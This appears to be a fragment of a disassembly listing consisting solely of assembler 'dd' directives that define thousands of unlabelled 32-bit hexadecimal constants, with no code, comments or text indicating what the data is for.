		dd 3CC21267h, 0D33C171Bh, 743F817h, 5F023070h, 83FAD1FBh
		dd 82535103h, 1F6AE0BBh, 0FF75B64Dh, 17FC0492h,	1B49A2B1h
		dd 0BF61C05Dh, 16E4AC51h, 0A93EB5F7h, 0E31A8C3Eh, 8109EC5Fh
		dd 0D589A0BBh, 4AC240E8h, 6B13ACADh, 722F211Ch,	0D45F9F8Fh
		dd 488A2FCEh, 24B4C15h,	0FB433036h, 0C0F04F27h,	0E9318191h
		dd 0C59A7879h, 0BFFF1061h, 422425E8h, 844DA3D3h, 0F35B786Bh
		dd 55700CA6h, 54D16FCFh, 0CE0F8EEEh, 228A51DEh,	41D4A779h
		dd 3C173DF1h, 0ED48B847h, 12174C17h, 94410F2Eh,	0E5144507h
		dd 0ECFD562h, 970E6022h, 5CA8E64Eh, 0C17FA6BFh,	0F7646389h
		dd 9146C911h, 5094FF38h, 6E934FAEh, 253B0FC6h, 1D8076B0h
		dd 0B6F35A1Ch, 54DD22C0h, 0F5AF1ED4h, 2DF5A3FDh, 7468B051h
		dd 485C471h, 0CBB6E2A3h, 7C03541Eh, 0BE1B26FCh,	17B52198h
		dd 6E2A23E5h, 47238114h, 0C15C28BCh, 0A2AEB2F0h, 0C9B88628h
		dd 0BEEB8504h, 99CBEA28h, 79BFEBABh, 0B5EBF3F3h, 0D471B7EBh
		dd 0A55FEAE2h, 0FB9EE37Ah, 2F0B9192h, 77A714D6h, 0C829E028h
		dd 655E346h, 96CC1C07h,	0E8C8682Bh, 2FF237C0h, 42B369D6h
		dd 8461FC68h, 482EF070h, 4EA37937h, 0DF7E2602h,	9F560432h
		dd 565AABBFh, 349C6582h, 974E5FF9h, 0BA6DDF61h,	0D49F6E5h
		dd 0B14EC16Eh, 0E54D5E02h, 2CD1FDC3h, 0E29E6F02h, 0D0CC157Eh
		dd 0AEAE05F8h, 6010922Ah, 131A5E05h, 0A836EA41h, 1379B740h
		dd 74FDD32Dh, 5EE8B92h,	1146C782h, 5FB5E260h, 0F5176D58h
		dd 8F7BD0B2h, 0F51B8AA2h, 0FC01EAB2h, 8920BC8Bh, 49A31537h
		dd 0C9606938h, 42376E7Eh, 9083EFBEh, 5E9359BAh,	1D55D70Ah
		dd 431EA956h, 599CEA8Eh, 26FA9734h, 2100ACF5h, 89832EE4h
		dd 0FD8CE2F1h, 8A3565Ah, 96438EB4h, 6323E8D3h, 8991D359h
		dd 7EC3ABBCh, 3379AA92h
		dd 0CC7E66FCh, 0C8D6E22h, 0BE086774h, 3EA7073Fh, 1D8A7E1Fh
		dd 5686C23Fh, 3C643212h, 0FFB78BF7h, 0E46EA262h, 8F00554Ch
		dd 6EE476Ah, 0A67ED77h,	6C9A1190h, 260FFF66h, 0BAC31682h
		dd 0E57AF101h, 7D70A77Eh, 25025E71h, 3C09350Bh,	2175A05Eh
		dd 99CE8D19h, 995051C2h, 8341F8CAh, 0F8F1E0Ah, 0E7F8FA3Eh
		dd 676F0F29h, 0C02A3738h, 34E674D9h, 0B1810549h, 4AFD0B4Ch
		dd 5579C335h, 5C0FD21Bh, 0D036A9D7h, 180FAE0Eh,	91D4C4CEh
		dd 17592B20h, 90C40681h, 0BBC35161h, 69088722h,	0EAD874D0h
		dd 0C9E9ABD4h, 6F37A88Bh, 0B9F7CFA1h, 7DC17180h, 797819C8h
		dd 0B857A628h, 0C7A2C54Eh, 210048BBh, 85D71AF2h, 15F7D614h
		dd 4C2E62Eh, 49AF2F63h,	4F61975Fh, 6789F5F2h, 1A9D813Ah
		dd 0BBE34027h, 186C712Eh, 59BF5418h, 4044C60Ch,	0F5EAEE58h
		dd 377137DFh, 0E897C320h, 472E4EDBh, 3C5FD71Bh,	992006BCh
		dd 84B11C06h, 0B9D8E3ABh, 9DA4BD65h, 10721DCEh,	4F51ABBBh
		dd 7618268Ah, 0F6C84081h, 8D266A4Fh, 0CBC948D2h, 0D0144391h
		dd 842182D0h, 1002FF16h, 1A18FD6Ch, 3AD08EC2h, 9A12C64Ah
		dd 0F33A064h, 69BD59B1h, 2BCDC34Ch, 31CC5EB8h, 0D116E41Bh
		dd 84327A5Fh, 38A43837h, 0F224668Dh, 0BC70EF4Bh, 0EAD69837h
		dd 9C6AE47Ah, 8B036604h, 310C3C08h, 0A65809h, 0FFAD089Ah
		dd 89F53685h, 4A239E76h, 3B0E9107h, 0DC3E2865h,	1AE99101h
		dd 429ECF4Ah, 0B35C15C5h, 24AD725Ch, 0EE7AFC27h, 869F45E9h
		dd 0F8EE17Dh, 2439C3Eh,	0FB2B2156h, 724930ADh, 782418FBh
		dd 7F1F9F2Dh, 539E7E70h, 0F4F0FB2Dh, 596C4F8Ch,	0E495C0F8h
		dd 0D3019758h, 0E10697ADh, 3380E247h, 0AF57FCC2h, 0DCB133C4h
		dd 0E4E8EB6Dh, 6CD6742Fh, 67C6B5D2h, 0A957FBDEh, 0E82BCD91h
		dd 0E4A29F83h, 0DC4AC29Ch, 53D7A09Bh, 865A0C97h, 0F070960Bh
		dd 0F533616Fh, 0B23D80EFh, 0BCEEF888h, 9957258Ah, 0A38CD9E5h
		dd 4214030Eh, 855444B5h, 0C390B81Dh, 0AD40499Dh, 598E7F9Eh
		dd 491FE8BFh, 1E9532Dh,	0F20B3F67h, 7D3B78C6h, 0C51943C6h
		dd 0A44C9088h, 1763ABC2h, 10C6AAF5h, 8C3F90Dh, 42D16E15h
		dd 29F26406h, 267DAA16h, 3831747Ch, 30C0BC5Fh, 0F154287Dh
		dd 7309F740h, 0F8B1C9AFh, 5AFDD9BAh, 4B6D7DAFh,	0A0746226h
		dd 0A196C06Dh, 2C04FC08h, 678F7314h, 0E336E9A5h, 26D4D704h
		dd 24502038h, 4AF8DFE6h, 0CABF1A6Eh, 0AB8E4B84h, 8E332334h
		dd 277C7595h, 0D8EBADA7h, 171967B0h, 93536797h,	773D52EFh
		dd 4675C110h, 17FE1CCEh, 0EA18B016h, 0D568BB8Ch, 0EFAECF89h
		dd 24C08A60h, 5E05FD47h, 2316525Fh, 1A188D07h, 893B6FBDh
		dd 0DFBA4A03h, 3B18F03Bh, 0A7AE3778h, 55170A8Fh, 7C00EACh
		dd 0DC99539Eh, 0D17F562Fh, 0B4908485h, 0F1914AE8h, 9DB29D43h
		dd 0DCA07101h, 0D2FADCFDh, 77A14B9Fh, 0FF362D98h, 0A8C755Fh
		dd 0B4A65FF0h, 80CF984Ah, 4F4AFD04h, 638389DFh,	0AFF7FBEBh
		dd 4EEBC120h, 952544BBh, 0BA33BF4Bh, 42669060h,	0BDD4B0BAh
		dd 52777D2Fh, 9CD2DB3Dh, 0F5794510h, 4FEB5500h,	5F6EC98Bh
		dd 36E03479h, 0C6B93261h, 1A2E2BAh, 6252676Dh, 0B9408A87h
		dd 0EB80199Eh, 544C5757h, 0CC1CAFAh, 0C5344847h, 33111586h
		dd 654B1102h, 99990166h, 0B6BE34D5h, 891C6617h,	0E62D4083h
		dd 71508A7Ah, 0DE804B02h, 171A4A43h, 3C09CB82h,	766AB8B3h
		dd 69013DDh, 95AE28Fh, 0D74634E2h, 8D2C88B0h, 0C1D3188Bh
		dd 0C59F59Fh, 0D9BA192h, 0F5F0795Fh, 63DC910h, 8E0280F4h
		dd 11F3EB7Fh, 0EBB128C8h, 7AE94862h, 0A91409DFh, 31242B68h
		dd 72FC31FEh, 0B8CA0F47h, 1BD639D6h, 71C0894Dh,	4462CC89h
		dd 75781B05h, 39DFE90Bh, 2F664C9Fh, 0A346E2EDh,	9AF673B0h
		dd 1D4211AEh, 3FA11627h, 651ED140h, 0AB433AE0h,	9BB9044Dh
		dd 4473B57Ah, 0E1E5BBE2h, 2F726332h, 430CE250h,	0C3D25EBCh
		dd 896AE782h, 0AEC80980h, 0E9052CBDh, 398514C5h, 0A5A66A85h
		dd 7B9F4689h, 0E264AA9h, 69E1864h, 1D13EFCDh, 15A1C71Fh
		dd 3A8D694Eh, 5AE22F63h, 24B87571h, 224F28D8h, 0EB0F08F8h
		dd 2496405Ah, 1004ECCFh, 0BFA6C5Ch, 0AB1E307Eh,	0C2E41F82h
		dd 0D64700A0h, 0FC164317h, 0F288E66Ah, 71D4B662h, 2004AE41h
		dd 5CFA010Fh, 14BF7F08h, 42A91340h, 33F7000h, 874F05D8h
		dd 7437EBA0h, 64F795A9h, 1CBD74Ah, 123EFF0Bh, 9328E5F4h
		dd 0F8587CA3h, 96E56217h, 31E11675h, 0BBFF1DD1h, 0BAF68164h
		dd 22917B33h, 0F0C640D9h, 0E1450C4Bh, 1002EA1Ah, 0A6CA0096h
		dd 29C83042h, 0FD90B325h, 60F44402h, 0E1704A09h, 0F903F610h
		dd 2D9060C2h, 0C844A4Ah, 5F2344B6h, 43194C02h, 1780358Eh
		dd 73C2F8B4h, 960AA3h, 50D08EE8h, 6D710C85h, 0A7F14F04h
		dd 2EAC39A3h, 0D80E73D7h, 7365E81Ch, 60678556h,	4023E080h
		dd 5D66A069h, 0E0124DADh, 7D7A19h, 0B4E2E077h, 81E850A2h
		dd 0B1089103h, 0CDDDC250h, 1D768BE0h, 0E4CE00A6h, 82ED2733h
		dd 395E711Eh, 9F0DB335h, 6AB00E2Ch, 0F1F6A41h, 0A1D65A3Ch
		dd 0D1A4967Dh, 0DDBF41EEh, 0D57749BDh, 1D227438h, 0FB054039h
		dd 0C5290AAEh, 436D08ABh, 0E582CF6Ah, 2DD35120h, 6C4C532Bh
		dd 0EAA5A0D8h, 4F3DFAACh, 59C3D9ADh, 0BC5D6870h, 52781207h
		dd 0AF5D195Bh, 84211DD4h, 7E86C018h, 0FFFBD82Fh, 2C29607Ch
		dd 0D7C1F912h, 40AE6C5Dh, 0F3D83FFh, 0B07E906Ch, 9C17D7ECh
		dd 57B19A14h, 62660B35h, 329A03E1h, 2A72A59Eh, 1A833E0h
		dd 11FF1BE4h, 27BDAFA3h, 0BE68A3F4h, 5E66C3ACh,	1AA625C0h
		dd 0D8AB7DBAh, 0A116E28Fh, 27702C80h, 3B60A8E3h, 22D70663h
		dd 0EB974788h, 2B662FE2h, 0D423C895h, 0F5950C97h, 1A84694Fh
		dd 7669643h, 78E6B474h,	8AD68B5Ch, 9B2FE8Eh, 336E370Eh
		dd 3C256980h, 0A81CCD82h, 907A3074h, 0F27D84AEh, 0EF198308h
		dd 0F6F484AEh, 0AE079643h, 565DDE07h, 5A1B6A85h, 628BD160h
		dd 4A713A8Ah, 0F81B4D4Dh, 831A83BEh, 16A4A41h, 5D8B8528h
		dd 0A3357AEh, 0E269A2FBh, 5F9EBC84h, 673DBD47h,	2ECA412Bh
		dd 0D3A5BC56h, 60B46F13h, 5111F918h, 0A89BE511h, 2ABFCA62h
		dd 6528DA90h, 0A08DFBAh, 24D71377h, 6068F9D9h, 52FA3A23h
		dd 3D2A26C5h, 0DF7CEE9h, 83C2EE36h, 0D2B821FCh,	5E9599F3h
		dd 457A0766h, 0EC46F701h, 6F32E86Bh, 30151059h,	4AE55033h
		dd 58F77C4Dh, 0D0247875h, 5C573474h, 68EBEE0h, 512BD9EFh
		dd 0A9E80F80h, 35A32281h, 84296D03h, 14B60231h,	58CA5D86h
		dd 15B0FF0Ah, 56707FFCh, 2018C2ACh, 700FF049h, 4D5106F0h
		dd 8339C062h, 79E81633h, 9D50F8A3h, 35D30456h, 0F3E5C5D7h
		dd 0F1AC5893h, 1FD516D7h, 89A060FCh, 9E86FC9h, 0C43D9A0Ch
		dd 506DB3B6h, 4C893B3Ah, 0A0A6D6BDh, 0A2DC586h,	0CE8ADCCh
		dd 3DC26847h, 7E0FEEA6h, 67245809h, 0CACB8920h,	0E1D519AAh
		dd 0DB18CB5Dh, 1133BF8Ah, 4A41AD3Ah, 18BBE739h,	4862FCABh
		dd 24550681h, 0D449CA84h, 0E4E7D7EBh, 3C0B8768h, 7CAD2715h
		dd 96E27C45h, 0A6E29758h, 0D936FDE8h, 0B4D58ECAh, 9B071F6Bh
		dd 292FB8E6h, 0AF4565ECh, 7A873B9Ah, 0FAB9A340h, 2A3B3075h
		dd 0BA1E4CF8h, 0A8DCA576h, 4DD4472Ch, 28C85237h, 180DB77Eh
		dd 43F0CBE0h, 0A0E05F00h, 0B69C97F1h, 5A261814h, 0C3B6B268h
		dd 460AD45Eh, 2D4246Ah,	8E600722h, 10E8FC05h, 1B000C44h
		dd 0FA882E56h, 0F3482Ah
		dd 13AA732Ah, 0FC96FF98h, 8E669D5Ch, 41665E43h,	8C498BB6h
		dd 5C24989Dh, 50D264EFh, 7F17FB16h, 6B5215B5h, 10536DFCh
		dd 259B521Ah, 784B4BB4h, 220C768Dh, 924535D2h, 0A19FBC73h
		dd 9DA87678h, 4DFF5DB0h, 3791D0h, 71E4DC23h, 2F2E1446h
		dd 81149100h, 48D2D6C7h, 0AFE3BDE2h, 0EF418216h, 0B97A5E5Bh
		dd 2BF9E38Ah, 0D481804h, 0EA052B2Dh, 0FE24062h,	0B181E471h
		dd 40A08304h, 964E25AEh, 0A101901Bh, 977A8EEh, 17EF28E3h
		dd 0AABC7949h, 86D87AE5h, 0D1722316h, 8D6B1AFBh, 156B9C57h
		dd 2139E045h, 2FB0F072h, 320BA441h, 8A8459DBh, 665F160h
		dd 0F658947Fh, 112974F2h, 0B8517202h, 990DCA73h, 0CEEB97F4h
		dd 0BC108B09h, 0ECC4F0CBh, 0C5B1B7CEh, 2A3A5841h, 0BA62CE3Ah
		dd 67EC25C1h, 1A0860CDh, 7608C225h, 29830766h, 85998EDBh
		dd 0D6E8BDEBh, 4B4D844Eh, 7C41748h, 1AACA58Ch, 4A67BAD5h
		dd 7588C220h, 0A74161AFh, 0F0A33044h, 0EC6155Ch, 0BF8D10DCh
		dd 0AA165E13h, 219D21Ch, 0B2694BC2h, 180E5EF4h,	87182D4h
		dd 0A095BBB9h, 6099BC07h, 843B332Fh, 68ADB3C2h,	0DD40E0B6h
		dd 9A55F466h, 0FA6F5C8Bh, 64A12881h, 6BCE14Ch, 0CA331FBDh
		dd 0A255F508h, 81D79A32h, 188908Dh, 0E853E2F9h,	0B3C04BAh
		dd 90E232EEh, 77E1CA85h, 3A029894h, 0B132F12Bh,	0A2850D72h
		dd 0DA158C5Fh, 94B92FB9h, 5D252202h, 83BC6310h,	0F66D80E2h
		dd 97E0619Bh, 73A210EDh, 4766C367h, 51898D45h, 46B37480h
		dd 4A7A86A4h, 47E05F57h, 0C59A5441h, 0E96AEAE3h, 481A5142h
		dd 4571E85Ch, 42E1A38h,	6A3C0C5h, 0DA538844h, 24F7BFCAh
		dd 9B195FC2h, 5700E895h, 14461590h, 15E7A1Bh, 1F98EFCh
		dd 0CBFF0BECh, 4C4B2FA2h, 739CA746h, 63017C80h,	0C057C7C1h
		dd 47041AD2h, 49932180h, 0CC703310h, 0BE064420h, 782D10B0h
		dd 5FAB555Ch, 1D82602Bh, 4140B684h, 96E4A00Eh, 282C8A50h
		dd 0DE2C1C00h, 7B010F6Fh, 0D805C4E1h, 9FAB9A72h, 0A804FDC4h
		dd 76878DA3h, 0AE89ABABh, 0EFD2E7FCh, 512BB360h, 260E9464h
		dd 0C45C7EB4h, 24AD7A10h, 0FD695C8Ch, 0C4B702E4h, 0AE9D1B8h
		dd 0FA0948D0h, 2922C1h,	96C8C5B0h, 0DB9C4885h, 0AA859E5Ch
		dd 22483DC3h, 8916006h,	5536C5A1h, 75851032h, 0E06E76F5h
		dd 0E2BD462Fh, 0BA9C66D6h, 0DFA01C3Eh, 84194C4h, 634B8019h
		dd 60095042h, 4C174435h, 4AF8B8B8h, 0B18C79D1h,	874DD8A2h
		dd 0F1B8442Eh, 0FE2DBAFDh, 0C545E8EAh, 22342015h, 283A0B62h
		dd 0EB271A70h, 3905A971h, 38BED12h, 0AFF947B3h,	0FAD053ABh
		dd 0A1A9599Dh, 0E87E6617h, 0B16DBF0Fh, 60B913DEh, 0D4093106h
		dd 0E5F4865Fh, 499FDF1Eh, 0B0A0C551h, 0BA4AE071h, 0DC5C8520h
		dd 0C800F1B5h, 0B2D73F6Dh, 0FE0DC3F3h, 8DCA78B1h, 0BAD502A1h
		dd 2A324341h, 8A8120A9h, 8BABFA87h, 4BB3940Ch, 0CC0CBF6Ah
		dd 0CA90A6D0h, 5B93AAEFh, 0C3EC269Dh, 7D8034D2h, 7F88D75Ch
		dd 83ECC18Dh, 5CDBF55Dh, 2416432h, 0D0147F7h, 5AB74461h
		dd 95314D1Fh, 6F4C3097h, 0B705243Fh, 1A8190Fh, 218AF73Bh
		dd 0A973476h, 9865076h,	5449AE22h, 8CE22E91h, 69420220h
		dd 1C6C0C1Dh, 0B37D7AE1h, 0BA6E2013h, 74AB83Eh,	0CFBE370Ch
		dd 0E4CAA590h, 1755E440h, 0C2434093h, 7D0298Dh,	9060816Ah
		dd 9BBC355Ah, 21C2FF71h, 31C2304Ah, 0E1F8EBD1h,	221F907Ah
		dd 97A83FD0h, 20EA443Ah, 2341B622h, 0EE5CA4D4h,	35AB9DF3h
		dd 576B5C5Eh, 0C03DC95Fh, 24228299h, 2DD67CD7h,	7E3436ABh
		dd 4AA858D0h, 0A4772AB8h, 0B638F70Bh, 777B077Fh, 0BD492031h
		dd 0B65D42A9h, 6A8603CAh, 16083DDDh, 513BBA1Bh,	0E23ED564h
		dd 0C1589AAAh, 0A3209B05h, 687ED3DDh, 0A069E8CCh, 0EB3B07FCh
		dd 84B1547h, 0F68C260Dh, 86E86268h, 1507585Dh, 0AC3E56E5h
		dd 0C72EEB0Ah, 1AE837EBh, 55A9C47Ah, 55A8A251h,	2A4BCC51h
		dd 922A3983h, 8F71131Dh, 44EAB1B4h, 3102E0A0h, 0CD92E675h
		dd 4F023AAAh, 0D6248A8Ah, 318990B5h, 60B9C235h,	16B47AFBh
		dd 4118FC43h, 0BE2258A0h, 34AD3B9Eh, 3975AB4Fh,	0CE1EBB20h
		dd 0EA4CCF82h, 234A8576h, 68C8A649h, 2D10C5CAh,	69689156h
		dd 7738E38Bh, 8CE96685h, 144E6128h, 6879AB0h, 0FEF6771Ah
		dd 309E259Fh, 26E5283Dh, 0EC7AFC06h, 0EB3DEB50h, 0D34322BFh
		dd 91E11946h, 5DB1F092h, 0E2EFB429h, 0A542B438h, 0B55439B3h
		dd 78B558Ch, 0CD43F626h, 80E5D3DCh, 7DCAF0DFh, 7A58C05Fh
		dd 0BF1540CEh, 0AA64DBAFh, 45F60E36h, 0F8C24E12h, 1887D465h
		dd 0EF341E1Dh, 8EDBD88h, 306408F2h, 0C6ECAF93h,	6ACF61E0h
		dd 5E7C760Dh, 25C05CA9h, 610EEEh, 40EFD49Fh, 19C9F5Bh
		dd 4512062Bh, 13980758h, 7010771Dh, 0A3860D1Dh,	0FA177A9Ch
		dd 61AFDD7Ch, 60F85E8Bh, 82F0F846h, 0B97ACE46h,	8EC44105h
		dd 850E6F78h, 5418FDA6h, 0E56A1101h, 4F97B432h,	81438362h
		dd 21AD1E08h, 731A1A41h, 930259B1h, 54AB0953h, 0E930B402h
		dd 3282AFCCh, 0B0148EFBh, 760987F3h, 0F06EC81Ch, 71BF409Dh
		dd 0CC9ADF61h, 0A8713FA6h, 0F99C2DBEh, 2540EDCFh, 7F2A2908h
		dd 1571A4DDh, 5384F288h, 0B2E64D29h, 0F97B2BC7h, 0B29C5962h
		dd 5481443Dh, 0FF20CD5Bh, 1773C190h, 0AA29B88Ah, 46DF89B5h
		dd 780B6894h, 0C6CF1C6Ah, 5E88A8CDh, 0F6821DC5h, 0D1B646EBh
		dd 48868F1Ch, 455DE2A8h, 208181A8h, 0A7D8AFA9h,	0FB473321h
		dd 0A3259ACAh, 0D9D5C054h, 13F7B955h, 0E0E45DC3h, 7FF6F3D2h
		dd 0EACA646Ah, 97EA1C99h, 82BF920h, 0FF7645FCh,	0E651AF73h
		dd 1E9EB428h, 67CCF2FAh, 0AD0AA8E8h, 0EA8D0757h, 0D7670BC9h
		dd 8106ABFFh, 2370A170h, 0D404E7A9h, 0A929552Bh, 92660D3Bh
		dd 0CE0843D1h, 6678E68h, 0C3330821h, 2A08D0h, 0C416C49Ah
		dd 6AD97EEFh, 80A1FB10h, 16504CA1h, 0F5FF865h, 23A50BB4h
		dd 4F5BA0CEh, 0D86E72F2h, 188EEE97h, 64262A99h,	0E94B6209h
		dd 144540CDh, 61611681h, 19898EC4h, 9BFE7C0Eh, 196E9A27h
		dd 4C72A5D9h, 0E8E8B44Dh, 0D8EB32E7h, 5A252933h, 0CC14A992h
		dd 724AAAF5h, 4241C7A8h, 0B0D8BBC9h, 2F1B81FDh,	0F9F4A9A6h
		dd 83855C77h, 0B1E9781Ch, 73695614h, 56AFEC51h,	0C4695D62h
		dd 3C15E822h, 58CE359Eh, 9F841150h, 1B781827h, 0D9DF40AEh
		dd 7EDF085Eh, 4FC516AEh, 0A1B3D8Ch, 20DDA6D0h, 28BA0481h
		dd 0E3707A73h, 4A26D680h, 2BB69917h, 886CCACCh,	0FAF4DE28h
		dd 8C214F0Dh, 0A00661B6h, 660C7EC1h, 90399B04h,	9444732Eh
		dd 71C47809h, 0FE57A800h, 4204A5Bh, 127F696Bh, 71D82273h
		dd 607E9B2h, 7011269Dh,	0E99B709Ah, 9EF445D6h, 589FE557h
		dd 64611E7Bh, 41E53316h, 0D258A875h, 49BB0F0Ah,	541B7F99h
		dd 0A8561D2Bh, 0FFC61B7Eh, 1331F037h, 1FD8626Ah, 855010BCh
		dd 0F9745A4Dh, 0E8F0E5BFh, 0BD838962h, 2967460Bh, 52B1E3C4h
		dd 3503B92Bh, 1AF0CA5Ah, 869BAAEAh, 7081EB6Dh, 0DB7062E1h
		dd 1343D400h, 23AA9A6Dh, 0EE0628E3h, 95DF18Ah, 0C58F699h
		dd 0B08492C8h, 9B183BDAh, 38858528h, 0D80E209Ch, 505136EBh
		dd 1643CEA2h, 29163605h, 0F64732A4h, 0B209FC17h, 89158C8Ah
		dd 14DDEFCCh, 13332E56h, 1309D26Eh, 0C4A2364Ah,	4448DFDCh
		dd 93C5AEFCh, 6EACA505h, 7C1C64F4h, 0D71305DCh,	6A9CF889h
		dd 1551682h, 79794A27h,	0CB453725h, 8EDFC090h, 321221C8h
		dd 0F92804CAh, 0CB812C1Dh
		dd 0CE90E305h, 1B46C722h, 3057C473h, 9B1B634h, 0A4436DF8h
		dd 0EFD75A9Bh, 0F52A48AFh, 5386C10Ah, 318122D6h, 0BE13FD14h
		dd 0A7BD4A70h, 1D0EC2FAh, 556E2E92h, 0A8302011h, 0C27D4517h
		dd 84627405h, 87850065h, 0D184F01Fh, 8C57D46Eh,	0AD62F205h
		dd 91ABD060h, 22FA4E0Bh, 9D8414Fh, 2100CA0Eh, 0AB2952BEh
		dd 5CAAC4C4h, 2BB3C565h, 0D8EF3142h, 5326F998h,	4FC07F11h
		dd 0B8A8994h, 189D68C0h, 8B1BE8C9h, 8164570h, 0E9CFDA32h
		dd 1AD28AF2h, 75ECACBh,	0D68B2B7Ch, 612B1B20h, 0E1A2570h
		dd 74380AC6h, 50E40D46h, 80C9C610h, 0FB7022B7h,	752D0600h
		dd 228CBA47h, 1056B589h, 5CA6AB53h, 38F4B33Eh, 827A0DA3h
		dd 0FFD16AE6h, 0E8A3B524h, 234AF137h, 1D442BA9h, 0F138B317h
		dd 0A334FFF4h, 710266A7h, 20AC9979h, 8D2E0FF1h,	8603B871h
		dd 0A4A8D8Ah, 0C4D194B8h, 7958DF4h, 8D15AD15h, 7AC7CCDEh
		dd 0A16FAB93h, 8FFE418Dh, 43A37201h, 0E4E4EC51h, 0A085565Bh
		dd 0EC955FE2h, 0BCCAE553h, 46757553h, 7A8CAA49h, 983C1DF6h
		dd 0D268E766h, 4451CFB1h, 52F894EBh, 18E17F32h,	0EAAC8BC5h
		dd 0B6342BA4h, 6E51C2F4h, 0FB43A9E6h, 59DC85FCh, 12C16946h
		dd 86B13EA5h, 5C25D3A0h, 4CFE306Fh, 7417619Eh, 92A8C3B3h
		dd 43365AFAh, 65192BFFh, 0AE3FE8ECh, 46D528A0h,	0CFBB68C4h
		dd 0E51A6783h, 0B3C17C50h, 896248E8h, 4DA72E03h, 11366D34h
		dd 0D5C989B5h, 9182A426h, 534BEB67h, 4E692CE4h,	0AA13F5A1h
		dd 99571AABh, 0FB911C38h, 64944C6Ah, 0E8429D0Bh, 81E30515h
		dd 0A9F15FADh, 0ED4C23ABh, 0D884ACCh, 4486425Dh, 0E46E029Fh
		dd 0A7E660E7h, 6B6AA22Ch, 5495622Fh, 99FBCE33h,	500CA8BFh
		dd 0D57538F7h, 8A2BA189h, 0BAE8221Dh, 3B345BD1h, 0E788511Dh
		dd 3EFD5CB3h, 1C405A14h, 0C9D69AADh, 22D8565h, 0BCA533B8h
		dd 0AC031D92h, 9A44523Dh, 360E7309h, 4A656B62h,	5A357A11h
		dd 0D22C0BE2h, 84431FF5h, 24B60A16h, 0D2950D0h,	811232Fh
		dd 6D482687h, 828740D4h, 0ECB935C7h, 630375Fh, 7F67D114h
		dd 0A4879A9h, 9CC4FE48h, 3541E6DEh, 526E94BDh, 0B50AF5CEh
		dd 1645DC8Ah, 761D00Bh,	6087083Dh, 0A18209A3h, 44B60A1Dh
		dd 3AC31970h, 323B228Eh, 0F339CA6Ah, 1402607Dh,	0C53765BFh
		dd 3B102C51h, 90A388C8h, 689A95D2h, 7C741572h, 76B491B4h
		dd 77172CD0h, 535772EDh, 8DA69D8Dh, 0CF97EBE9h,	8FF282E6h
		dd 277D3477h, 50E8E1B5h, 0D5F5EB9Dh, 69012811h,	9F203C60h
		dd 41F9BF2Bh, 1370ED4Dh, 0F5C2BC0Fh, 0B8693061h, 2152FBFFh
		dd 4AC69C0Fh, 11D8490h,	89CC0FC1h, 2BF25360h, 60154C8Ch
		dd 0AC0D30A0h, 0DC3042D8h, 0A560BE08h, 0D126525Dh, 0B0E0A94Dh
		dd 12163891h, 4D3CDF4Ah, 0BAD5D2B4h, 8CDF5E4Ah,	1489C625h
		dd 6881BA87h, 2D053FA7h, 0D75D6214h, 67D72BBFh,	43929425h
		dd 0E880157Ah, 43FAA7D2h, 2937B9FCh, 74A44682h,	55FC0FF4h
		dd 752A131Bh, 87F25AA0h, 2F058BEEh, 9982ACE9h, 0E5BD66D3h
		dd 825B5B5Dh, 0AE5246Dh, 327CD450h, 65F8A283h, 0DFCAA298h
		dd 2CA70314h, 594FAD4Ah, 2C280DF0h, 0F49ED4D4h,	16A52A85h
		dd 66FDD014h, 6FD7D5F5h, 44528DA4h, 2B5253A4h, 0DCD9E1BBh
		dd 3CB10AFh, 0D95EF04Dh, 758B21C9h, 27256E41h, 885EF504h
		dd 88DDB7CFh, 0A86D7B50h, 1B3E196h, 982D6021h, 6D502891h
		dd 0EF91107Ch, 48F8EACCh, 55451BE0h, 0A22C2EEEh, 3F1386A8h
		dd 609B836Eh, 0C8627085h, 8E719FC4h, 8551C5C4h,	0D1DB95CCh
		dd 7DBDC48Eh, 0CDA6C565h, 704022B9h, 0E04A15E5h, 4C85A3BCh
		dd 85949BA6h, 2FB0F26Eh, 767B105h, 481DCDBDh, 26855ADBh
		dd 0C1EE6E25h, 0F1BC790Ah, 5E2E9275h, 93AF48D5h, 0C579C72h
		dd 81123DCAh, 3C05C777h, 0B8C5F317h, 585A3C34h,	3A19FC17h
		dd 240BF9A4h, 957B2A67h, 0B9402E90h, 9C5FF912h,	0EB77BEFDh
		dd 936F06B6h, 12B02579h, 0AC12EF0Dh, 1EA373CFh,	26C870FDh
		dd 24ADD8D3h, 0F52814Eh, 591A341h, 0D8DE304Ch, 5A19544Ah
		dd 0FFA49B6Eh, 928646C1h, 0EA7697CEh, 56A8CABEh, 7F15C361h
		dd 5C11A73Dh, 95577A32h, 58BA37C0h, 6AB23D3Eh, 0D3C44F0h
		dd 0B23D642Fh, 51596FA6h, 18139D60h, 0C8465696h, 81579209h
		dd 78AB5F3Bh, 0AAEA5F77h, 0E9B04242h, 0D5EAF2E0h, 9AA6833Ch
		dd 38A1DBAFh, 2B6CFFCDh, 0EBC85C62h, 8A38185Ah,	0BE472B60h
		dd 82BDB5AFh, 0EC56F5A7h, 0EC6C3395h, 0AD39B34Eh, 0D8A3D195h
		dd 0B75A8F2Bh, 0CD7C8FEBh, 4C43A30Ah, 8E9E7F58h, 0AA14D5E9h
		dd 0B2BBBA8Dh, 0BACFA7Eh, 2D57FC0Ch, 565FB1A1h,	5CEA682Bh
		dd 40DAA154h, 2287A753h, 0F8AA0A8Fh, 68F780B4h,	2A2DD7A5h
		dd 0D92C3574h, 0B1AC0A5Ch, 0ADE2FC38h, 2B0D9C7h, 0DCA1A641h
		dd 8BF4BABDh, 0CFDF16A8h, 8579FB26h, 0FB06F3C2h, 36B8D7E0h
		dd 7A0200AAh, 8AD4A83Eh, 5EB5851Ch, 979D0AA8h, 0A4BB8055h
		dd 6EC6F290h, 0E3381260h, 940622E3h, 105B8157h,	0E0CBC63Fh
		dd 7589136h, 289C8142h,	0E110140h, 0D3EA8ECh, 738287E5h
		dd 2726A166h, 6CE8581Ch, 163F8DAAh, 16A6FC85h, 6857075Dh
		dd 0A0D98D74h, 0B47F5925h, 0F48AB6ACh, 0CEB278CAh, 0A4A0AE99h
		dd 1E412D54h, 0DA0A64BFh, 9E6181E1h, 18AC3EA7h,	4A030245h
		dd 0BD504A04h, 1100C357h, 28915C73h, 6470E0h, 30D5D1CCh
		dd 71E03831h, 1988D359h, 60ACB340h, 16842F7Bh, 7C988684h
		dd 90B939ADh, 61C9A40Fh, 431F9815h, 11B72BA8h, 0C7026340h
		dd 0E0982507h, 0AA57293Bh, 0FE56F532h, 75783298h, 7FD28A09h
		dd 750AF485h, 83EFBBC9h, 0E7DAA7F3h, 0AF0A879Ch, 688792Ah
